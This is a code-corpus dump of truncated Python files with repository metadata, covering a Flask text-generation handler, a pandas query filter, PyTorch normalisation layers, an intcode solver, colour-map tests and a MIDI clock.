from collections import OrderedDict
try:
from textwrap import indent
except ImportError:
from .util import indent
from .base_generator import BaseGenerator
from .field import FieldType
class View(BaseGenerator):
"""... | 38.670659 | 81 | 0.623877 | 6,168 | 0.955094 | 0 | 0 | 0 | 0 | 0 | 0 | 2,809 | 0.434964 |
e6009ec1e028167f3a49c3031f357398c17f1387 | 663 | py | Python | models/functions/main.py | hkennyv/meowbot | c5a0d3c2a21cc0ef1bc5f266e15e3a8ca6f1fb02 | [
"MIT"
] | null | null | null | models/functions/main.py | hkennyv/meowbot | c5a0d3c2a21cc0ef1bc5f266e15e3a8ca6f1fb02 | [
"MIT"
] | null | null | null | models/functions/main.py | hkennyv/meowbot | c5a0d3c2a21cc0ef1bc5f266e15e3a8ca6f1fb02 | [
"MIT"
] | null | null | null | import os
from flask import jsonify
from utils import generate_text_from_model
def handler(request):
url = request.url
prompt = request.args.get("prompt", None)
n = int(request.args.get("n", 1))
print(f"{url=} {prompt=} {n=}")
res = generate_text_from_model(n, prompt, min_length=25)
return... | 23.678571 | 69 | 0.529412 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 140 | 0.211161 |
e6032655721c54e66ad4bd1357c8c09c9c05f5d4 | 1,788 | py | Python | setup.py | vikingco/django-smsgateway | 91675e599a147f4d7e64ff4c4455dbf75ed753d3 | [
"BSD-3-Clause"
] | 13 | 2015-03-11T06:55:50.000Z | 2022-02-08T16:50:16.000Z | setup.py | vikingco/django-smsgateway | 91675e599a147f4d7e64ff4c4455dbf75ed753d3 | [
"BSD-3-Clause"
] | 17 | 2015-03-19T12:27:41.000Z | 2019-12-09T14:21:21.000Z | setup.py | vikingco/django-smsgateway | 91675e599a147f4d7e64ff4c4455dbf75ed753d3 | [
"BSD-3-Clause"
] | 7 | 2015-05-15T00:14:49.000Z | 2019-06-27T02:46:09.000Z | from setuptools import setup, find_packages
from pip._internal.req.req_file import parse_requirements
from pip._internal.download import PipSession
from os import path
from smsgateway import __version__
# Lists of requirements and dependency links which are needed during runtime, testing and setup
install_requires =... | 33.735849 | 122 | 0.73434 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 630 | 0.352349 |
e603924130bfa4f0b3913ce47ce5a8e5befed2ec | 2,394 | py | Python | querier/queries/filtr.py | Techtonique/querier | 47288fc78273f248199fc67b50e96eaa7dd5441a | [
"BSD-3-Clause-Clear"
] | 2 | 2020-09-18T14:58:28.000Z | 2021-07-14T11:57:14.000Z | querier/queries/filtr.py | Techtonique/querier | 47288fc78273f248199fc67b50e96eaa7dd5441a | [
"BSD-3-Clause-Clear"
] | null | null | null | querier/queries/filtr.py | Techtonique/querier | 47288fc78273f248199fc67b50e96eaa7dd5441a | [
"BSD-3-Clause-Clear"
] | null | null | null | # Authors: Thierry Moudiki
#
# License: BSD 3
import numpy as np
from ..utils import parse_request
from ..utils import memoize
# filtr(df, 'tip > 5')
# req = "(time == 'Dinner') & (day == 'Sun') & (tip>1.5)"
# filtr(df, req, limit=3, random=False)
# filtr(df, req, limit=4, random=True)
#
# req = "(tip>1.5)"
# filtr... | 25.2 | 110 | 0.543442 | 0 | 0 | 0 | 0 | 1,754 | 0.732359 | 0 | 0 | 1,428 | 0.596242 |
e605177b0e5e0389026fb9fd1bf99e17303d4553 | 3,310 | py | Python | apps/jobs/dota_parse_curated/insights/skill_insights.py | ajkdrag/Dota-2-Pyspark-EDA | aa64cd06248143703792ad668288518804679735 | [
"MIT"
] | null | null | null | apps/jobs/dota_parse_curated/insights/skill_insights.py | ajkdrag/Dota-2-Pyspark-EDA | aa64cd06248143703792ad668288518804679735 | [
"MIT"
] | null | null | null | apps/jobs/dota_parse_curated/insights/skill_insights.py | ajkdrag/Dota-2-Pyspark-EDA | aa64cd06248143703792ad668288518804679735 | [
"MIT"
] | null | null | null | import pyspark.sql.functions as F
def top_k_most_picked_skills(match_hero_names_df, ohe_heroes_df, k=5):
skills_df = match_hero_names_df.join(
ohe_heroes_df, on=[match_hero_names_df.hero == ohe_heroes_df.name]
).select(ohe_heroes_df.columns[3:])
skills = skills_df.columns
skills_df_agg = skill... | 31.52381 | 88 | 0.652266 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 353 | 0.106647 |
e6053698599b3626d8934d6ed2fbd3ec5c67702d | 271 | py | Python | Physics250-ME24/calcChargeonCap.py | illusion173/Physics250 | 69f2ffdb8af013e8b0739779861c1455b579ddaf | [
"MIT"
] | null | null | null | Physics250-ME24/calcChargeonCap.py | illusion173/Physics250 | 69f2ffdb8af013e8b0739779861c1455b579ddaf | [
"MIT"
] | null | null | null | Physics250-ME24/calcChargeonCap.py | illusion173/Physics250 | 69f2ffdb8af013e8b0739779861c1455b579ddaf | [
"MIT"
] | null | null | null | import numpy as np
import math
Esubo = 8.854 * pow(10,-12)
k = 8.988 * pow(10,9)
def calcCharge():
faraday = float(input("Input Faraday: "))
volts = float(input("Input Volts: "))
charge = faraday * volts
print(charge)
calcCharge() | 14.263158 | 45 | 0.583026 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 32 | 0.118081 |
e6056330329bc68abb7e5b76c93b9c6288226754 | 9,217 | py | Python | expert/layers/divisive_normalisation.py | alexhepburn/expert | 546f7452ced2213ef91e5ce6e7456a1668dd9f95 | [
"BSD-3-Clause"
] | 1 | 2021-04-10T11:34:22.000Z | 2021-04-10T11:34:22.000Z | expert/layers/divisive_normalisation.py | alexhepburn/expert | 546f7452ced2213ef91e5ce6e7456a1668dd9f95 | [
"BSD-3-Clause"
] | null | null | null | expert/layers/divisive_normalisation.py | alexhepburn/expert | 546f7452ced2213ef91e5ce6e7456a1668dd9f95 | [
"BSD-3-Clause"
] | null | null | null | """
The :mod:`expert.layers.divisive_normalisation` module holds classes of
layers for a network that use divisive normalisation. This includes
generalised divisive normalisation.
"""
# Author: Alex Hepburn <alex.hepburn@bristol.ac.uk>
# License: new BSD
import torch
import torch.nn as nn
import torch.nn.functional as... | 39.728448 | 79 | 0.605946 | 8,873 | 0.962573 | 0 | 0 | 0 | 0 | 0 | 0 | 5,247 | 0.569212 |
e6065f668a6e90368fa3e3ff5c24af7760fb1883 | 738 | py | Python | Visualizer.py | jjeong19/evalHeight_gridMap | 506d1253ce62e7b06ed97555ba1d3ec8140a8335 | [
"MIT"
] | null | null | null | Visualizer.py | jjeong19/evalHeight_gridMap | 506d1253ce62e7b06ed97555ba1d3ec8140a8335 | [
"MIT"
] | null | null | null | Visualizer.py | jjeong19/evalHeight_gridMap | 506d1253ce62e7b06ed97555ba1d3ec8140a8335 | [
"MIT"
] | null | null | null | import numpy as np
import argparse
import scipy.linalg
from mpl_toolkits.mplot3d import Axes3D
from skimage.draw import polygon
import matplotlib.pyplot as plt
import glob
from sklearn import datasets, linear_model
import pdb
import time
parser = argparse.ArgumentParser()
parser.add_argument('--folder', default = "")
... | 22.363636 | 47 | 0.707317 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 26 | 0.03523 |
e6067b473594f19a0b7c388916cf26a23f82d960 | 579 | py | Python | thirdparty/org/apache/arrow/flatbuf/VectorType.py | mrocklin/pygdf | 2de9407427da9497ebdf8951a12857be0fab31bb | [
"Apache-2.0"
] | 5 | 2018-10-17T20:28:42.000Z | 2022-02-15T17:33:01.000Z | thirdparty/org/apache/arrow/flatbuf/VectorType.py | mrocklin/pygdf | 2de9407427da9497ebdf8951a12857be0fab31bb | [
"Apache-2.0"
] | 19 | 2018-07-18T07:15:44.000Z | 2021-02-22T17:00:18.000Z | thirdparty/org/apache/arrow/flatbuf/VectorType.py | mrocklin/pygdf | 2de9407427da9497ebdf8951a12857be0fab31bb | [
"Apache-2.0"
] | 2 | 2020-05-01T09:54:34.000Z | 2021-04-17T10:57:07.000Z | # automatically generated by the FlatBuffers compiler, do not modify
# namespace: flatbuf
# /// ----------------------------------------------------------------------
# /// The possible types of a vector
class VectorType(object):
# /// used in List type, Dense Union and variable length primitive types (String, Binary... | 34.058824 | 110 | 0.621762 | 371 | 0.64076 | 0 | 0 | 0 | 0 | 0 | 0 | 484 | 0.835924 |
e606b4f2c79395b331203078985352a2c129c2b0 | 3,231 | py | Python | 05/solution.py | Hegemege/advent-of-code-2019 | 01c2a84fb205069867453f6ba652813a0005fd88 | [
"MIT"
] | null | null | null | 05/solution.py | Hegemege/advent-of-code-2019 | 01c2a84fb205069867453f6ba652813a0005fd88 | [
"MIT"
] | null | null | null | 05/solution.py | Hegemege/advent-of-code-2019 | 01c2a84fb205069867453f6ba652813a0005fd88 | [
"MIT"
] | null | null | null | MAX_INST_PARAM_COUNT = 3
def run_program(memory, input_buffer):
pc = 0
while True:
result_code, pc_offset = execute_instruction(memory, pc, input_buffer)
if result_code == -1: # Halt instruction
return
if result_code == 0: # Non-jump instructions
pc += pc_offs... | 31.368932 | 111 | 0.647478 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 275 | 0.085113 |
e608539fab23c3cf7080aa7205e16f057ed4a51c | 2,132 | py | Python | test/test_coloripy.py | ajshajib/coloripy | 136bad593b3914a5c33dec069df8bf5a44a5815d | [
"MIT"
] | 3 | 2020-06-14T13:12:33.000Z | 2022-01-03T21:41:16.000Z | test/test_coloripy.py | ajshajib/coloripy | 136bad593b3914a5c33dec069df8bf5a44a5815d | [
"MIT"
] | null | null | null | test/test_coloripy.py | ajshajib/coloripy | 136bad593b3914a5c33dec069df8bf5a44a5815d | [
"MIT"
] | null | null | null | """
Tests for `coloripy` module.
"""
import numpy as np
from math import isclose
import coloripy as cp
class TestColoripy(object):
@classmethod
def setup_class(cls):
pass
def test_skew_scale(self):
modes = ['linear', 'square', 'cubic', 'power', 'sqrt']
vals = [0., 0.5, 1.]
... | 38.071429 | 66 | 0.486867 | 2,025 | 0.949812 | 0 | 0 | 105 | 0.04925 | 0 | 0 | 72 | 0.033771 |
e609e4bd2d6607c75f66f23c28efe8a4fdb25c1b | 1,080 | py | Python | xxmodularsynth/midi/clock_external.py | xavierxeon-music/MusicTools | 05c74218df18c4ee385895b721c7ad24ea0df552 | [
"MIT"
] | null | null | null | xxmodularsynth/midi/clock_external.py | xavierxeon-music/MusicTools | 05c74218df18c4ee385895b721c7ad24ea0df552 | [
"MIT"
] | null | null | null | xxmodularsynth/midi/clock_external.py | xavierxeon-music/MusicTools | 05c74218df18c4ee385895b721c7ad24ea0df552 | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
from rtmidi.midiconstants import SONG_POSITION_POINTER, TIMING_CLOCK, SONG_START, SONG_CONTINUE, SONG_STOP
from .clock_abstract import ClockAbstract
from .midi_input import MidiInput
class ClockExternal(ClockAbstract, MidiInput):
def __init__(self, name=None, port=None):
ClockAb... | 30.857143 | 106 | 0.659259 | 869 | 0.80463 | 0 | 0 | 0 | 0 | 0 | 0 | 22 | 0.02037 |